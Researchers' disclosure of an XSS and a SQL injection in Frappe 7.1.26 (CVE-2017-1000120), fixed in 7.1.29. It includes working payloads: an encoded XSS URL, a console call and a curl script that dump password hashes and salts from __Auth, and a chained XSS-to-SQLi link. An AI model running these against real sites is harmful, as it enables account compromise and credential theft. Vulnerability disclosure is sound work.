CVE-2017-1000120
This is the story how we found a stored XSS and a post-login SQL-injection in the Frappe framework (version 7.1.26), which represent quite a threat for themselves and allow for a multi-stage attack on any frappe-website if combined.XSS
The XSS is found in frappe.handler.py, when using the /?cmd option on a page, there is a call to get_attr(cmd) (line 30).If an invalid cmd is given, method = globals()[cmd] (line 116) throws an error. In the error any user input will be reflected.def execute_cmd(cmd, from_async=False): """execute a request as python module""" for hook in frappe.get_hooks("override_whitelisted_methods", {}).get(cmd, []): # override using the first hook cmd = hook break method = get_attr(cmd) # line 30 if from_async: method = method.queue is_whitelisted(method) ret = frappe.call(method, **frappe.form_dict) # returns with a message if ret: frappe.response['message'] = ret ... def get_attr(cmd): """get method object from cmd""" if '.' in cmd: method = frappe.get_attr(cmd) else: method = globals()[cmd] # line 116 frappe.log("method:" + cmd) return method
Proof of concept:
The command itself (alert(document.cookie)) is base64 encoded, since get_attribute() separates at ‘.’ characters.http://[yourhost]/?cmd=a%3Cscript%3Eeval(atob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%22));%3C/script%3E
Since the error message including the malicious command is logged in the admin interface (Error-Snapshot), this represents a stored XSS (admin only) and a reflected XSS for any other given user.
SQLi (CVE-2017-1000120)
The SQL-injection is found in frappe.share.py in the get_users() (line 86) function. Since this function is whitelisted, it may be called with any valid user account (no special privileges).As the code snippet shows, unfiltered user input is directly inserted into the SQL statement (using Python’s format()). Calling the following command from the JSConsole with a logged in account yields the __Auth database.def get_users(doctype, name, fields="*"): """Get list of users with which this document is shared""" if isinstance(fields, (tuple, list)): fields = "`{0}`".format("`, `".join(fields)) return frappe.db.sql( "select {0} from tabDocShare where share_doctype=%s and share_name=%s" .format(fields), (doctype, name), as_dict=True) #line 86
frappe.call({method: "frappe.share.get_users", args: {doctype: "", name: "", fields: "name, password, salt from __Auth union select 1,1,1"}, callback: function (r) {}})
POC:
Both issues have been fixed in a very timely manner (nice work from the frappe team here). The fix is included in version 7.1.29 of the frappe framework.#!/bin/bash URL="http://$1:$2/" USERNAME=? PASSWORD=? PAYLOAD="doctype=&name=&fields=name%2C+password%2C+salt+from+__Auth+union+select+1%2C1%2C1&cmd=frappe.share.get_users" echo "Target URL: $URL" # Login echo "Try login with test@test.de pw:test ..." curl -v -d "cmd=login&usr=$USERNAME&pwd=$PASSWORD&device=desktop" "$URL" > /tmp/frappe_login.txt 2>&1 cat /tmp/frappe_login.txt | grep Cookie | awk '{print $3}' | tr "\n" " " > /tmp/frappe_cookies.txt echo "Got Session Cookie: `cat /tmp/frappe_cookies.txt`" curl --cookie "`cat /tmp/frappe_cookies.txt`" ${URL}desk 2>/dev/null | grep csrf_token | awk -F\" '{print $2}' > /tmp/frappe_csrf_token.txt echo "Got CSRF Token: `cat /tmp/frappe_csrf_token.txt`" # SQL Injection echo "Trigger SQL Injection..." curl --header "X-Frappe-CSRF-Token: `cat /tmp/frappe_csrf_token.txt`" --cookie "`cat /tmp/frappe_cookies.txt`" -d $PAYLOAD $URL # Clean up rm /tmp/frappe_login.txt rm /tmp/frappe_cookies.txt rm /tmp/frappe_csrf_token.txt
Multistage
To line out the pretty critical nature of the exploits, here is a combination of both, which allows database disclosure if any logged-in victim clicks on a malicious link or the administrator reads error-logs:Here the non-encoded POC:http://[yourhost]/?cmd=a%3Cscript%3Eeval(atob(%22ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgew0KICAgeD1mcmFwcGUuY2FsbCh7bWV0aG9kOiAiZnJhcHBlLnNoYXJlLmdldF91c2VycyIsIGFyZ3M6IHtkb2N0eXBlOiAiIiwgbmFtZTogIiIsZmllbGRzOiAibmFtZSwgcGFzc3dvcmQsIHNhbHQgZnJvbSBfX0F1dGggdW5pb24gc2VsZWN0IDEsMSwxIn0sY2FsbGJhY2s6IGZ1bmN0aW9uKHIpIHt9fSk7DQogICBhbGVydCgiWFNTISBBbmQgZXZlbiBiZXR0ZXIsIGNsaWNrIG9rYXkgdG8gc2VlIHNvbWUgbWFnaWMhIik7DQogICBhbGVydChKU09OLnN0cmluZ2lmeSh4LnJlc3BvbnNlSlNPTikpOw0KfSwgZmFsc2UpOw==%22));%3C/script%3E
document.addEventListener('DOMContentLoaded', function() { x=frappe.call({method: "frappe.share.get_users", args: {doctype: "", name: "",fields: "name, password, salt from __Auth union select 1,1,1"},callback: function(r) {}}); alert("XSS! And even better, click okay to see some magic!"); alert(JSON.stringify(x.responseJSON)); }, false);
Fabian Ullrich (fullrich[at]fullsec.de), Dennis Mantz (dennis.mantz@googlemail.com)
Link to CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-1000120